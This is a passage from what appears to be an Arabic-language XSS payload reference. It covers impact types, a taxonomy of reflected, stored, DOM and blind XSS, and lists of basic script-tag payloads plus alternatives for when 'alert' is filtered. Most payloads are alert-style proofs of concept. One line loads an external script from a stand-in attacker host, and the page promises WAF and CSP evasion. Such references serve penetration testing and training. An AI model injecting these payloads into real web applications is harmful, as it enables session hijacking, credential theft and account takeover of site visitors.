
مرجع شامل لهجمات XSS يغطي الحمولات المنعكسة والمخزّنة وDOM والعمياء، وتجاوز الفلاتر، والتهرب من WAF، وتجاوز CSP، وmXSS، ودراسات حالة واقعية لتطبيقات CVE.
المرجع الأكثر شمولاً لـ XSS على GitHub.
المنعكس · المخزّن · DOM · XSS الأعمى — الحمولات، تجاوز الفلاتر، التهرب من WAF، تجاوز CSP، mXSS، سلاسل تلوث النموذج الأولي، وثغرات CVE الواقعية. محدّث لعام 2026.
الحمولات · تجاوز الفلاتر · التهرب من WAF · DOM XSS · تجاوز CSP · XSS الأعمى · متقدم · الأدوات
البرمجة النصية عبر المواقع (XSS) هي هجوم حقن شيفرة من جانب العميل حيث يقوم المهاجم بحقن نصوص برمجية خبيثة في محتوى يقدّمه تطبيق ويب موثوق. عندما يعرض متصفح الضحية الصفحة، يُنفَّذ النص المحقون بنفس صلاحيات النصوص البرمجية الشرعية من ذلك الأصل.
يظهر XSS باستمرار في قائمة OWASP Top 10 لأن التأثير شديد وسطح الهجوم هائل:
| التأثير | الوصف |
|---|---|
| اختطاف الجلسة | سرقة document.cookie والاستيلاء على الجلسات الموثّقة |
| الاستيلاء على الحساب | تغيير البريد الإلكتروني/كلمة المرور عبر طلبات مزوّرة باستخدام جلسة الضحية |
| تسجيل ضغطات المفاتيح | التقاط كل ضغطة مفتاح، بما في ذلك كلمات المرور وأرقام بطاقات الائتمان |
| التصيّد الاحتيالي | حقن نماذج تسجيل دخول مزيفة ترسل بيانات الاعتماد إلى المهاجم |
| التشويه | تعديل محتوى الصفحة لنشر معلومات مضللة أو إحراج الهدف |
| توزيع البرمجيات الخبيثة | إعادة توجيه الضحايا إلى مجموعات الاستغلال |
| التعدين الخفي للعملات الرقمية | تشغيل برامج تعدين العملات الرقمية في متصفحات الضحايا |
| SSRF / فحص المنافذ الداخلية | استخدام متصفح الضحية لفحص الشبكة الداخلية |
| حصاد بيانات الاعتماد | قراءة بيانات الاعتماد المعبأة تلقائيًا من DOM |
| لقطة الشاشة / كاميرا الويب | التقاط الشاشة عبر getDisplayMedia()، وكاميرا الويب عبر getUserMedia() |
تُبطل XSS سياسة المصدر نفسه (SOP). ولأن النص البرمجي الخبيث يُقدَّم من الأصل المستهدف، فإن المتصفح يعامله كموثوق. وهذا يعني أن XSS يمنح المهاجم:
HttpOnlylocalStorage وsessionStorageCross-Site Scripting (XSS)
│
├── Reflected XSS
│ ├── Payload in request, reflected in response immediately
│ ├── Requires victim to click crafted link
│ ├── Stored: NO — not persistent
│ └── Example: search?q=<script>alert(1)</script>
│
├── Stored XSS (Persistent)
│ ├── Payload stored in database, file, log, etc.
│ ├── Executes on every page load for every victim
│ ├── Stored: YES — most dangerous type
│ └── Example: comment field, profile name, forum post
│
├── DOM-Based XSS
│ ├── Payload processed by client-side JS, never reaches server
│ ├── Source → Sink flow entirely in browser
│ ├── Often missed by server-side WAFs and scanners
│ └── Example: location.hash → innerHTML assignment
│
└── Blind XSS
├── Payload executes in a different context than where it's injected
├── Fires in admin panels, log viewers, CRM systems
├── Time delay between injection and execution (hours/days)
└── Example: support ticket field that fires in agent dashboard
| النوع | الاستمرارية | من يتأثر | هل يرى الخادم الحمولة؟ |
|---|---|---|---|
| Reflected | لا | الضحية المستهدفة | نعم |
| Stored | نعم | جميع الزوار | نعم |
| DOM | لا | الضحية المستهدفة | عادةً لا |
| Blind | نعم (عن بُعد) | المسؤول / مستخدم الواجهة الخلفية | نعم (عند نقطة الحقن) |
الحمولات التأسيسية التي يعرفها كل باحث أمني. تعمل هذه الحمولات حيث لا يوجد أي تصفية.
<!-- Standard script tag -->
<script>alert(1)</script>
<!-- With domain in alert for proof-of-concept -->
<script>alert(document.domain)</script>
<!-- Cookie theft proof-of-concept -->
<script>alert(document.cookie)</script>
<!-- Script with src — load external JS -->
<script src=https://attacker.com/xss.js></script>
<!-- With type attribute -->
<script type="text/javascript">alert(1)</script>
<!-- Newline in script tag -->
<script>
alert(1)
</script>
<!-- Multiple statements -->
<script>var x=1;alert(x)</script>
<!-- Using window.alert -->
<script>window.alert(1)</script>
<!-- With character reference -->
<script>alert(1)</script>
<!-- IIFE (Immediately Invoked Function Expression) -->
<script>(function(){alert(1)})()</script>
<!-- Arrow function -->
<script>(() => alert(1))()</script>
alert (عندما يتم حظر alert)تحظر العديد من التطبيقات الحديثة وجدران الحماية WAF كلمة alert. استخدم هذه البدائل:
// confirm() — shows OK/Cancel dialog
<script>confirm(1)</script>
// prompt() — shows input dialog
<script>prompt(1)</script>
// console.log() — silent, check browser console
<script>console.log(document.cookie)</script>
// print() — opens print dialog (noisy but visible)
<script>print()</script>
// debugger — pauses DevTools if open
<script>debugger</script>
// throw — visible in console as uncaught error
<script>throw 1</script>